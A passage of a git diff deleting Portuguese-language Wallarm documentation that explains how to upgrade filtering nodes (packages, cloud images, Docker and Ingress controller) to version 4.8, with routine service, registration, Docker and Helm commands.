postanálise separada](separate-postanalytics.md). Para conectar o módulo de processamento de tráfego inicial ao Cloud usando as mesmas credenciais de nó: - - 1. Copie o token de nó gerado durante a atualização do módulo postanálise separada. - 1. Prossiga para a 4ª etapa na lista abaixo. -1. Copie o token gerado. -1. Pausar o serviço NGINX para mitigar o risco de cálculo incorreto de RPS: - - === "Debian" - ```bash - sudo systemctl stop nginx - ``` - === "Ubuntu" - ```bash - sudo service nginx stop - ``` - === "CentOS ou Amazon Linux 2.0.2021x e inferior" - ```bash - sudo systemctl stop nginx - ``` - === "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo systemctl stop nginx - ``` - === "RHEL 8.x" - ```bash - sudo systemctl stop nginx - ``` -1. Execute o script `register-node` para executar o **Nó Wallarm**: - - === "Cloud dos EUA" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com --force - ``` - === "Cloud da UE" - ``` bash - sudo /usr/share/wallarm-common/register-node -t --force - ``` - - * `` é o valor copiado do token do nó ou do token da API com a função `Deploy`. - * A opção `--force` força a reescrita das credenciais de acesso ao Wallarm Cloud especificadas no arquivo `/etc/wallarm/node.yaml`. - -### Etapa 5: Atualize a página de bloqueio do Wallarm - -Na nova versão do nó, a página de bloqueio de amostra do Wallarm foi [alterada](what-is-new.md#new-blocking-page). O logo e o e-mail de suporte na página agora estão vazios por padrão. - -Se a página `&/usr/share/nginx/html/wallarm_blocked.html` estava configurada para ser retornada em resposta a solicitações bloqueadas, [copie e personalize](../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page) a nova versão de uma página de amostra. - -### Etapa 6: Reiniciar NGINX - ---8<-- "../include-pt-BR/waf/restart-nginx-4.4-and-above.md" - -### Etapa 7: Testar a operação do nó Wallarm - ---8<-- "../include-pt-BR/waf/installation/test-waf-operation-no-stats.md" - -### Personalização de configurações - -Os módulos Wallarm estão atualizados para a versão 4.8. As configurações do nó de filtragem anterior serão aplicadas à nova versão automaticamente. Para fazer configurações adicionais, use as [diretivas disponíveis](../admin-en/configure-parameters-en.md). - ---8<-- "../include-pt-BR/waf/installation/common-customization-options-nginx-4.4.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/updating-migrating/node-artifact-versions.md b/docs/latest-pt-BR/updating-migrating/node-artifact-versions.md deleted file mode 100644 index 89644b3f89..0000000000 --- a/docs/latest-pt-BR/updating-migrating/node-artifact-versions.md +++ /dev/null @@ -1,85 +0,0 @@ -# Inventário das versões de artefatos do node - -Este documento lista as [versões de patch](versioning-policy.md#version-format) disponíveis do Wallarm node 4.8 em diferentes formatos. Você pode acompanhar os novos lançamentos de versões de patch e planejar atualizações oportunas com base neste documento. - -## Instalador all-in-one - -O histórico de atualizações se aplica simultaneamente às versões x86_64 e ARM64 do [instalador all-in-one](../installation/nginx/all-in-one.md). - -[Como migrar de pacotes DEB/RPM](nginx-modules.md) - -[Como migrar da versão anterior do instalador all-in-one](all-in-one.md) - -### 4.8.0 (2023-10-19) - -* Lançamento inicial 4.8, [veja o changelog](what-is-new.md) - -## Pacotes DEB/RPM para NGINX - -[Como atualizar](nginx-modules.md) - -### 4.8.0 (2023-10-19) - -* Lançamento inicial 4.8, [veja o changelog](what-is-new.md) - -## Chart Helm para NGINX Ingress controller - -[Como atualizar](ingress-controller.md) - -### 4.8.2 (2023-10-20) - -* Resolvido erros de estatísticas para solicitações em lista de negação conectadas com portas HTTP não padrão (80) a montante - -### 4.8.1 (2023-10-19) - -* Adicionado suporte para processadores ARM64 -* Correção do bug quando o token da API Wallarm não pôde ser aplicado pelo `helm upgrade` -* Correção das seguintes CVEs em golang.org/x/net: [CVE-2023-39325](https://github.com/advisories/GHSA-4374-p667-p6c8), [CVE-2023-3978](https://github.com/advisories/GHSA-2wrh-6pvc-2jm9), [CVE-2023-44487](https://github.com/advisories/GHSA-qppj-fm5r-hxr3) - -### 4.8.0 (2023-10-19) - -* Lançamento inicial 4.8, [veja o changelog](what-is-new.md) - -## Chart Helm para Sidecar - -[Como atualizar](sidecar-proxy.md) - -### 4.8.0 (2023-10-19) - -* Lançamento inicial 4.8, [veja o changelog](what-is-new.md) -* Adicionado suporte para [tokens de API](../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation) para criar nodes de filtragem e conectá-los à nuvem durante o deployment da solução. Com os tokens de API, você pode controlar o tempo de vida de seus tokens e aprimorar a organização dos nodes na interface do usuário definindo um nome para o grupo de nodes. - - Os nomes do grupo de nodes são definidos usando o parâmetro `config.wallarm.api.nodeGroup` em **values.yaml**, com `defaultSidecarGroup` como o nome padrão. Opcionalmente, você pode controlar os nomes dos grupos de nodes com base nos pods das aplicações usando a anotação `sidecar.wallarm.io/wallarm-node-group`. -* Correção da [CVE-2023-38039](https://github.com/advisories/GHSA-99j9-jf36-9747) - -## Imagem Docker baseada em NGINX - -[Como atualizar](docker-container.md) - -### 4.8.0-1 (2023-10-19) - -* Lançamento inicial 4.8, [veja o changelog](what-is-new.md) - -## Imagem Docker baseada em Envoy - -[Como atualizar](docker-container.md) - -### 4.8.0-1 (2023-10-19) - -* Lançamento inicial 4.8, [veja o changelog](what-is-new.md) - -## Amazon Machine Image (AMI) - -[Como atualizar](cloud-image.md) - -### 4.8.0-1 (2023-10-19) - -* Lançamento inicial 4.8, [veja o changelog](what-is-new.md) - -## Imagem do Google Cloud Platform - -[Como atualizar](cloud-image.md) - -### wallarm-node-4-8-20231019-221905 (2023-10-19) - -* Lançamento inicial 4.8, [veja o changelog](what-is-new.md) diff --git a/docs/latest-pt-BR/updating-migrating/older-versions/cloud-image.md b/docs/latest-pt-BR/updating-migrating/older-versions/cloud-image.md deleted file mode 100644 index 3444ad63e6..0000000000 --- a/docs/latest-pt-BR/updating-migrating/older-versions/cloud-image.md +++ /dev/null @@ -1,128 +0,0 @@ -[wallarm-status-instr]: ../../admin-en/configure-statistics-service.md -[memory-instr]: ../../admin-en/configuration-guides/allocate-memory-for-waf-node.md -[waf-directives-instr]: ../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[nginx-process-time-limit-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../../user-guides/ip-lists/graylist.md -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md - -# Atualizando uma imagem de nó em nuvem EOL - -Estas instruções descrevem as etapas para atualizar a imagem do nó em nuvem fim de vida (versão 3.6 e inferior) implantada no AWS ou GCP até 4.8. - ---8<-- "../include-pt-BR/waf/upgrade/warning-deprecated-version-upgrade-instructions.md" - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/basic-reqs-for-upgrades.md" - -## Passo 1: Informe o suporte técnico do Wallarm que você está atualizando os módulos do nó de filtragem (somente se estiver atualizando o nó 2.18 ou inferior) - -Se estiver atualizando o nó 2.18 ou inferior, por favor informe o [suporte técnico do Wallarm](mailto:support@wallarm.com) que você está atualizando os módulos do nó de filtragem para a versão mais recente e peça para ativar a nova lógica da lista de IPs para sua conta Wallarm. Quando a nova lógica de lista de IPs estiver ativada, assegure-se de que a seção [**Listas de IPs**](../../user-guides/ip-lists/overview.md) do Wallarm Console esteja disponível. - -## Passo 2: Desative o módulo de verificação de ameaças ativas (somente se estiver atualizando o nó 2.16 ou inferior) - -Se você estiver atualizando o nó Wallarm 2.16 ou inferior, por favor, desative o módulo [Verificação de Ameaça Ativa](../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification) em Wallarm Console → **Vulnerabilidades** → **Configurar**. - -O funcionamento do módulo pode causar [falsos positivos](../../about-wallarm/protecting-against-attacks.md#false-positives) durante o processo de atualização. Desativar o módulo minimiza esse risco. - -## Passo 3: Atualize a porta da API - ---8<-- "../include-pt-BR/waf/upgrade/api-port-443.md" - -## Passo 4: Inicie uma nova instância com o nó de filtragem 4.8 - -1. Abra a imagem do nó de filtragem do Wallarm no mercado de plataforma em nuvem e prossiga com o lançamento da imagem: - * [Amazon Marketplace](https://aws.amazon.com/marketplace/pp/B073VRFXSD) - * [GCP Marketplace](https://console.cloud.google.com/marketplace/details/wallarm-node-195710/wallarm-node) -2. Na etapa de lançamento, defina as seguintes configurações: - - * Selecione a versão da imagem `4.8.x` - * Para AWS, selecione o [grupo de segurança criado](../../installation/cloud-platforms/aws/ami.md#2-create-a-security-group) no campo **Configurações do Grupo de Segurança** - * Para AWS, selecione o nome do [par de chaves criado](../../installation/cloud-platforms/aws/ami.md#1-create-a-pair-of-ssh-keys) no campo **Configurações do Par de Chaves** -3. Confirme o lançamento da instância. -4. Para o GCP, configure a instância de acordo com estas [instruções](../../installation/cloud-platforms/gcp/machine-image.md#2-configure-the-filtering-node-instance). - -## Passo 5: Ajuste as configurações do modo de filtragem do Wallarm node às alterações lançadas nas últimas versões (somente se estiver atualizando o nó 2.18 ou inferior) - -1. Certifique-se de que o comportamento esperado das configurações listadas abaixo corresponde à [a lógica alterada dos modos de filtragem `off` e `monitoring`](what-is-new.md#filtration-modes): - * [Diretiva `wallarm_mode`](../../admin-en/configure-parameters-en.md#wallarm_mode) - * [Regra geral de filtragem configurada no Wallarm Console](../../user-guides/settings/general.md) - * [Regras de filtragem de baixo nível configuradas no Wallarm Console](../../user-guides/rules/wallarm-mode-rule.md) -2. Se o comportamento esperado não corresponder à lógica de modo de filtragem alterada, ajuste as configurações de modo de filtragem às alterações lançadas usando as [instruções](../../admin-en/configure-wallarm-mode.md). - -## Passo 6: Conecte o nó de filtragem à Nuvem Wallarm - -1. Conecte-se à instância do nó de filtragem via SSH. Instruções mais detalhadas para a conexão com instâncias estão disponíveis na documentação da plataforma em nuvem: - * [Documentação AWS](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AccessingInstances.html) - * [Documentação GCP](https://cloud.google.com/compute/docs/instances/connecting-to-instance) -2. Crie um novo nó Wallarm e conecte-o à Nuvem Wallarm usando o token gerado conforme descrito nas instruções para a plataforma em nuvem: - * [AWS](../../installation/cloud-platforms/aws/ami.md#5-connect-the-filtering-node-to-the-wallarm-cloud) - * [GCP](../../installation/cloud-platforms/gcp/machine-image.md#4-connect-the-filtering-node-to-the-wallarm-cloud) - -## Passo 7: Copie as configurações do nó de filtragem da versão anterior para a nova versão - -1. Copie as configurações para processamento e proxy de solicitações dos seguintes arquivos de configuração da versão anterior do nó Wallarm para os arquivos do nó de filtragem 4.8: - * `/etc/nginx/nginx.conf` e outros arquivos com configurações de NGINX - * `/etc/nginx/conf.d/wallarm.conf` com configurações globais do node de filtragem - * `/etc/nginx/conf.d/wallarm-status.conf` com as configurações do serviço de monitoramento do nó de filtragem - - Certifique-se de que o conteúdo do arquivo copiado corresponde à [configuração segura recomendada](../../admin-en/configure-statistics-service.md#configuring-the-statistics-service). - - * `/etc/environment` com variáveis de ambiente - * `/etc/default/wallarm-tarantool` com configurações de Tarantool - * outros arquivos com configurações personalizadas para processamento e proxy de solicitações -2. Renomeie as seguintes diretivas de NGINX se estiverem explicitamente especificadas em arquivos de configuração: - - * `wallarm_instance` → [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) - * `wallarm_local_trainingset_path` → [`wallarm_custom_ruleset_path`](../../admin-en/configure-parameters-en.md#wallarm_custom_ruleset_path) - * `wallarm_global_trainingset_path` → [`wallarm_protondb_path`](../../admin-en/configure-parameters-en.md#wallarm_protondb_path) - * `wallarm_ts_request_memory_limit` → [`wallarm_general_ruleset_memory_limit`](../../admin-en/configure-parameters-en.md#wallarm_general_ruleset_memory_limit) - - Só mudamos os nomes das diretivas, a lógica permanece a mesma. As diretivas com nomes antigos serão descontinuadas em breve, por isso, recomenda-se renomeá-las antes. -3. Se o [formato de log extendido](../../admin-en/configure-logging.md#filter-node-variables) estiver configurado, verifique se a variável `wallarm_request_time` está especificada explicitamente na configuração. - - Se sim, por favor, renomeie-o para `wallarm_request_cpu_time`. - - Só mudamos o nome da variável, a lógica permanece a mesma. O nome antigo ainda é suportado temporariamente, mas ainda assim é recomendado renomear a variável. -4. Se estiver atualizando o nó 2.18 ou inferior, [migre](../migrate-ip-lists-to-node-3.md) a configuração da lista de permissões e da lista de negações da versão anterior do nó Wallarm para 4.8. -5. Se a página `&/usr/share/nginx/html/wallarm_blocked.html` for retornada para solicitações bloqueadas, [copie e personalize](../../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page) sua nova versão. - - Na nova versão do nó, a página de bloqueio de amostra do Wallarm foi [alterada](what-is-new.md#new-blocking-page). O logotipo e o e-mail de suporte na página agora estão vazios por padrão. - -Informações detalhadas sobre como trabalhar com arquivos de configuração do NGINX estão disponíveis na [documentação oficial do NGINX](https://nginx.org/docs/beginners_guide.html). - -A lista de diretivas do nó de filtragem está disponível [aqui](../../admin-en/configure-parameters-en.md). - -## Passo 8: Transfira a configuração de detecção de ataque `overlimit_res` das diretivas para a regra - ---8<-- "../include-pt-BR/waf/upgrade/migrate-to-overlimit-rule-nginx.md" - -## Passo 9: Reinicie o NGINX - -Reinicie o NGINX para aplicar as configurações: - -```bash -sudo systemctl restart nginx -``` - -## Passo 10: Teste a operação do nó Wallarm - ---8<-- "../include-pt-BR/waf/installation/test-waf-operation-no-stats.md" - -## Passo 11: Crie a imagem da máquina virtual baseada no nó de filtragem 4.8 na AWS ou GCP - -Para criar a imagem da máquina virtual baseada no nó de filtragem 4.8, siga as instruções para [AWS](../../admin-en/installation-guides/amazon-cloud/create-image.md) ou [GCP](../../admin-en/installation-guides/google-cloud/create-image.md). - -## Passo 12: Delete a instância do nó Wallarm anterior - -Se a nova versão do nó de filtragem estiver configurada e testada com sucesso, remova a instância e a imagem da máquina virtual com a versão anterior do nó de filtragem usando o console de gerenciamento da AWS ou GCP. - -## Passo 13: Reative o módulo de verificação de ameaças ativas (somente se estiver atualizando o nó 2.16 ou inferior) - -Aprenda a [recomendação sobre a configuração do módulo de Verificação de Ameaça Ativa](../../vulnerability-detection/threat-replay-testing/setup.md) e reative-o, se necessário. - -Depois de um tempo, assegure-se de que a operação do módulo não cause falsos positivos. Se encontrar falsos positivos, entre em contato com o [suporte técnico do Wallarm](mailto:support@wallarm.com). \ No newline at end of file diff --git a/docs/latest-pt-BR/updating-migrating/older-versions/docker-container.md b/docs/latest-pt-BR/updating-migrating/older-versions/docker-container.md deleted file mode 100644 index c6b6835196..0000000000 --- a/docs/latest-pt-BR/updating-migrating/older-versions/docker-container.md +++ /dev/null @@ -1,156 +0,0 @@ -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[blocking-page-instr]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[allocating-memory-guide]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[nginx-process-time-limit-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../../user-guides/ip-lists/graylist.md -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[envoy-process-time-limit-docs]: ../../admin-en/configuration-guides/envoy/fine-tuning.md#process_time_limit -[envoy-process-time-limit-block-docs]: ../../admin-en/configuration-guides/envoy/fine-tuning.md#process_time_limit_block -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md - -# Atualizando uma imagem Docker NGINX- ou Envoy-based EOL - -Essas instruções descrevem as etapas para atualizar a imagem Docker NGINX- ending- ou Envoy-based (versão 3.6 e inferior) para a versão 4.8. - ---8<-- "../include-pt-BR/waf/upgrade/warning-deprecated-version-upgrade-instructions.md" - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/requirements-docker-nginx-4.0.md" - -## Passo 1: Informe o suporte técnico da Wallarm que você está atualizando os módulos do nó de filtragem (somente se atualizando o nó 2.18 ou inferior) - -Se estiver atualizando o nó 2.18 ou inferior, informe ao [Suporte Técnico da Wallarm](mailto:support@wallarm.com) que você está atualizando os módulos do nó de filtragem para 4.8 e peça para ativar a nova lógica de lista de IPs para a sua conta da Wallarm. Quando a nova lógica da lista de IPs estiver ativada, confira se a seção [**Listas de IP**](../../user-guides/ip-lists/overview.md) do Console Wallarm está disponível. - -## Passo 2: Desative o módulo de verificação de ameaça ativa (somente se atualizando o nó 2.16 ou inferior) - -Se estiver atualizando o nó Wallarm 2.16 ou inferior, desative o módulo [Verificação de ameaça ativa](../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification) no Wallarm Console → **Vulnerabilidades** → **Configurar**. - -A operação do módulo pode causar [falsos positivos](../../about-wallarm/protecting-against-attacks.md#false-positives) durante o processo de atualização. Desativar o módulo minimiza esse risco. - -## Passo 3: Atualize a porta da API - ---8<-- "../include-pt-BR/waf/upgrade/api-port-443.md" - -## Passo 4: Baixe a imagem atualizada do nó de filtragem - -=== "Imagem baseada em NGINX" - ``` bash - docker pull wallarm/node:4.8.0-1 - ``` -=== "Imagem baseada em Envoy" - ``` bash - docker pull wallarm/envoy:4.8.0-1 - ``` - -## Passo 5: Mude para a conexão baseada em token com o Wallarm Cloud - -Com o lançamento da versão 4.x, a abordagem como se conectar ao Wallarm Cloud foi atualizada como segue: - -* [A abordagem baseada em "email e senha" foi descontinuada](what-is-new.md#unified-registration-of-nodes-in-the-wallarm-cloud-by-tokens). Nessa abordagem, o nó foi registrado no Wallarm Cloud automaticamente ao iniciar o contêiner com as credenciais corretas passadas nas variáveis `DEPLOY_USER` e `DEPLOY_PASSWORD`. -* A abordagem baseada em token foi incluída. Para conectar o container ao Cloud, execute o container com a variável `WALLARM_API_TOKEN` contendo o token do nó Wallarm copiado da UI do Console Wallarm. - -Recomenda-se usar a nova abordagem para executar a imagem 4.8. A abordagem baseada em "email e senha" será excluída em versões futuras, portanto, faça a migração antes. - -Para criar um novo nó Wallarm e obter seu token: - -1. Abra o Wallarm Console → **Nós** no [US Cloud](https://us1.my.wallarm.com/nodes) ou [EU Cloud](https://my.wallarm.com/nodes) e crie o nó do tipo **Nó Wallarm**. - - ![Criação do nó Wallarm](../../images/user-guides/nodes/create-cloud-node.png) -1. Copie o token gerado. - -## Passo 6: Migrar allowlists e denylists da versão anterior do nó Wallarm para 4.8 (somente se atualizando o nó 2.18 ou inferior) - -Se estiver atualizando o nó 2.18 ou inferior, [migre](../migrate-ip-lists-to-node-3.md) a configuração de allowlist e denylist da versão anterior do nó Wallarm para 4.8. - -## Passo 7: Mude das opções de configuração descontinuadas - -Existem as seguintes opções de configuração descontinuadas: - -* A variável de ambiente `WALLARM_ACL_ENABLE` foi descontinuada. Se as listas de IP foram [migradas](../migrate-ip-lists-to-node-3.md) para a nova versão do nó, remova esta variável do comando `docker run`. -* As seguintes diretivas NGINX foram renomeadas: - - * `wallarm_instance` → [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) - * `wallarm_local_trainingset_path` → [`wallarm_custom_ruleset_path`](../../admin-en/configure-parameters-en.md#wallarm_custom_ruleset_path) - * `wallarm_global_trainingset_path` → [`wallarm_protondb_path`](../../admin-en/configure-parameters-en.md#wallarm_protondb_path) - * `wallarm_ts_request_memory_limit` → [`wallarm_general_ruleset_memory_limit`](../../admin-en/configure-parameters-en.md#wallarm_general_ruleset_memory_limit) - -Nós apenas alteramos os nomes das diretivas, a lógica delas permanece a mesma. As diretivas com os nomes anteriores serão descontinuadas em breve, então você é recomendado a renomeá-las antes. - -Por favor, verifique se as diretivas com os nomes antigos estão explicitamente especificadas nos arquivos de configuração montados. Se sim, renomeie-os. -* A [variável de registro](../../admin-en/configure-logging.md#filter-node-variables) `wallarm_request_time` foi renomeada para `wallarm_request_cpu_time`. - -Nós apenas alteramos o nome da variável, a lógica dela permanece a mesma. O nome antigo também é temporariamente suportado, mas mesmo assim é recomendável renomear a variável. -* Os seguintes parâmetros do Envoy foram renomeados: - - * `lom` → [`custom_ruleset`](../../admin-en/configuration-guides/envoy/fine-tuning.md#request-filtering-settings) - * `instance` → [`application`](../../admin-en/configuration-guides/envoy/fine-tuning.md#basic-settings) - * Seção `tsets` → `rulesets` e, correspondente, as entradas `tsN` nesta seção → `rsN` - * `ts` → [`ruleset`](../../admin-en/configuration-guides/envoy/fine-tuning.md#ruleset_param) - * `ts_request_memory_limit` → [`general_ruleset_memory_limit`](../../admin-en/configuration-guides/envoy/fine-tuning.md#request-filtering-settings) - -Nós apenas alteramos os nomes dos parâmetros, a lógica deles permanece a mesma. Os parâmetros com nomes antigos serão descontinuados em breve, então você é recomendado a renomeá-los antes. - -Por favor, verifique se os parâmetros com os nomes antigos estão explicitamente especificados nos arquivos de configuração montados. Se sim, renomeie-os. - -## Passo 8: Atualize a página de bloqueio do Wallarm (se atualizando a imagem baseada em NGINX) - -Na nova versão do nó, a página de amostra de bloqueio do Wallarm foi [alterada](what-is-new.md#new-blocking-page). O logotipo e o email de suporte na página agora estão vazios por padrão. - -Se o container Docker foi configurado para retornar a página `&/usr/share/nginx/html/wallarm_blocked.html` para solicitações bloqueadas, altere essa configuração da seguinte forma: - -1. [Copie e personalize](../../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page) a nova versão de uma página de amostra. -1. [Monte](../../admin-en/configuration-guides/configure-block-page-and-code.md#path-to-the-htm-or-html-file-with-the-blocking-page-and-error-code) a página personalizada e o arquivo de configuração NGINX em um novo container Docker na próxima etapa. - -## Passo 9: Transfira a configuração de detecção de ataque `overlimit_res` de diretivas para a regra - ---8<-- "../include-pt-BR/waf/upgrade/migrate-to-overlimit-rule-docker.md" - -## Passo 10: Pare o container em execução - -```bash -docker stop -``` - -## Passo 11: Execute o container usando a imagem atualizada - -Execute o contêiner usando a imagem atualizada. Você pode passar os mesmos parâmetros de configuração que foram passados ao executar uma versão de imagem anterior, exceto os listados nas etapas anteriores. - -Existem duas opções para executar o contêiner usando a imagem atualizada: - -* **Com as variáveis de ambiente** especificando a configuração básica do nó de filtragem - * [Instruções para o contêiner Docker baseado em NGINX →](../../admin-en/installation-docker-en.md#run-the-container-passing-the-environment-variables) - * [Instruções para o contêiner Docker baseado em Envoy →](../../admin-en/installation-guides/envoy/envoy-docker.md#run-the-container-passing-the-environment-variables) -* **No arquivo de configuração montado** especificando a configuração avançada do nó de filtragem - * [Instruções para o contêiner Docker baseado em NGINX →](../../admin-en/installation-docker-en.md#run-the-container-mounting-the-configuration-file) - * [Instruções para o contêiner Docker baseado em Envoy →](../../admin-en/installation-guides/envoy/envoy-docker.md#run-the-container-mounting-envoyyaml) - -## Passo 12: Ajuste as configurações do modo de filtragem do nó Wallarm às mudanças lançadas nas últimas versões (somente se atualizando o nó 2.18 ou inferior) - -1. Certifique-se de que o comportamento esperado das configurações listadas abaixo corresponde à [lógica modificada dos modos de filtragem `off` e `monitoring`](what-is-new.md#filtration-modes): - * Variável de ambiente [`WALLARM_MODE`](../../admin-en/installation-docker-en.md#run-the-container-passing-the-environment-variables) ou a diretiva [`wallarm_mode`](../../admin-en/configure-parameters-en.md#wallarm_mode) do contêiner Docker baseado em NGINX - * Variável de ambiente [`WALLARM_MODE`](../../admin-en/installation-guides/envoy/envoy-docker.md#run-the-container-passing-the-environment-variables) ou a diretiva [`mode`](../../admin-en/configuration-guides/envoy/fine-tuning.md#basic-settings) do contêiner Docker baseado em Envoy - * [Regra de filtragem geral configurada no Wallarm Console](../../user-guides/settings/general.md) - * [Regras de filtragem de baixo nível configuradas no Wallarm Console](../../user-guides/rules/wallarm-mode-rule.md) -2. Se o comportamento esperado não corresponder à lógica modificada do modo de filtragem, ajuste as configurações do modo de filtragem às mudanças lançadas usando as [instruções](../../admin-en/configure-wallarm-mode.md). - -## Passo 13: Teste a operação do nó de filtragem - ---8<-- "../include-pt-BR/waf/installation/test-after-node-type-upgrade.md" - -## Passo 14: Exclua o nó de filtragem da versão anterior - -Se a imagem implantada da versão 4.8 opera corretamente, você pode excluir o nó de filtragem da versão anterior na seção Wallarm Console → **Nós**. - -## Passo 15: Reative o módulo de verificação de ameaça ativa (somente se atualizando o nó 2.16 ou inferior) - -Aprenda a [recomendação sobre a configuração do módulo de verificação de ameaça ativa](../../vulnerability-detection/threat-replay-testing/setup.md) e reative-o se necessário. - -Depois de um tempo, certifique-se de que a operação do módulo não causa falsos positivos. Em caso de false positives, entre em contato com o [suporte técnico da Wallarm](mailto:support@wallarm.com). \ No newline at end of file diff --git a/docs/latest-pt-BR/updating-migrating/older-versions/ingress-controller.md b/docs/latest-pt-BR/updating-migrating/older-versions/ingress-controller.md deleted file mode 100644 index db783654a3..0000000000 --- a/docs/latest-pt-BR/updating-migrating/older-versions/ingress-controller.md +++ /dev/null @@ -1,465 +0,0 @@ -[nginx-process-time-limit-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../../user-guides/ip-lists/graylist.md -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md - -# Atualizando o controlador de entrada NGINX EOL com módulos integrados da Wallarm - -Essas instruções descrevem as etapas para atualizar o Controlador de Entrada Wallarm em fim de vida (versão 3.6 e inferior) para a nova versão com o nó Wallarm 4.8. - ---8<-- "../include-pt-BR/waf/upgrade/warning-deprecated-version-upgrade-instructions.md" - -!!! warning "A versão atualizada do Community Ingress NGINX Controller" - Se você atualizar o nó da versão 3.4 ou inferior, por favor, note que a versão do Community Ingress NGINX Controller, na qual é baseado o controlador de entrada Wallarm, foi atualizada da 0.26.2 para a 1.9.5. - - Como a operação do Community Ingress NGINX Controller 1.9.5 foi significativamente alterada, sua configuração precisa ser adaptada a essas mudanças durante a atualização do controlador de entrada Wallarm. - - Estas instruções contêm a lista de configurações do Community Ingress NGINX Controller que provavelmente você terá que alterar. No entanto, por favor, elabore um plano individual para a migração da configuração com base nas [notas de release do Community Ingress NGINX Controller](https://github.com/kubernetes/ingress-nginx/blob/main/Changelog.md). - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/requirements-nginx-ingress-controller-latest.md" - -## Passo 1: Informe o suporte técnico da Wallarm que você está atualizando os módulos do nó de filtragem (apenas se atualizar o nó 2.18 ou inferior) - -Se estiver atualizando o nó 2.18 ou inferior, informe o [suporte técnico da Wallarm](mailto:support@wallarm.com) que você está atualizando os módulos do nó de filtragem para 4.8 e peça para ativar a nova lógica de listas de IP para sua conta Wallarm. - -Quando a nova lógica de listas de IP estiver ativada, abra o Console Wallarm e certifique-se de que a seção [**Listas de IP**](../../user-guides/ip-lists/overview.md) está disponível. - -## Passo 2: Desative o módulo de verificação de ameaças ativas (apenas se atualizar o nó 2.16 ou inferior) - -Se estiver atualizando o nó Wallarm 2.16 ou inferior, desative o módulo [Threat Replay Testing](../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification) no Console Wallarm → **Vulnerabilities** → **Configure**. - -A operação do módulo pode causar [falsos positivos](../../about-wallarm/protecting-against-attacks.md#false-positives) durante o processo de atualização. Desativar o módulo minimiza este risco. - -## Passo 3: Atualize a porta da API - ---8<-- "../include-pt-BR/waf/upgrade/api-port-443.md" - -## Passo 4: Atualize o repositório de gráfico Helm da Wallarm - -=== "Se estiver usando o repositório Helm" - ```bash - helm repo update wallarm - ``` -=== "Se estiver usando o repositório GitHub clonado" - Adicione o [repositório de gráficos Helm da Wallarm](https://charts.wallarm.com/) contendo todas as versões do gráfico usando o comando abaixo. Use o repositório Helm para o trabalho futuro com o controlador de entrada Wallarm. - - ```bash - helm repo add wallarm https://charts.wallarm.com - helm repo update wallarm - ``` - -## Passo 5: Atualize a configuração `values.yaml` - -Para migrar para Wallarm Ingress controller 4.8, atualize a seguinte configuração especificada no arquivo `values.yaml`: - -* Configuração padrão do Community Ingress NGINX Controller -* Configuração do módulo Wallarm - -### Configuração padrão do Community Ingress NGINX Controller - -1. Verifique as [notas de lançamento sobre o Community Ingress NGINX Controller](https://github.com/kubernetes/ingress-nginx/blob/main/Changelog.md) 0.27.0 e superior e defina as configurações que serão alteradas no arquivo `values.yaml`. -2. Atualize as configurações definidas no arquivo `values.yaml`. - -Está a seguir configurações que provavelmente precisarão ser alteradas: - -* [Relatório adequado do endereço IP público do usuário final](../../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md) se as solicitações passarem por um balanceador de carga antes de serem enviadas para o controlador de entrada Wallarm. - - ```diff - controller: - config: - - use-forwarded-headers: "true" - + enable-real-ip: "true" - + forwarded-for-header: "X-Forwarded-For" - ``` -* [Configuração de IngressClasses](https://kubernetes.github.io/ingress-nginx/user-guide/multiple-ingress/). A versão da API do Kubernetes em uso foi atualizada no novo controlador de entrada, o que exige que IngressClasses seja configurado por meio dos parâmetros `.controller.ingressClass`, `.controller.ingressClassResource` e `.controller.watchIngressWithoutClass`. - - ```diff - controller: - + ingressClass: waf-ingress - + ingressClassResource: - + name: waf-ingress - + default: true - + watchIngressWithoutClass: true - ``` -* Conjunto de parâmetros do ConfigMap (`.controller.config`) [ConfigMap 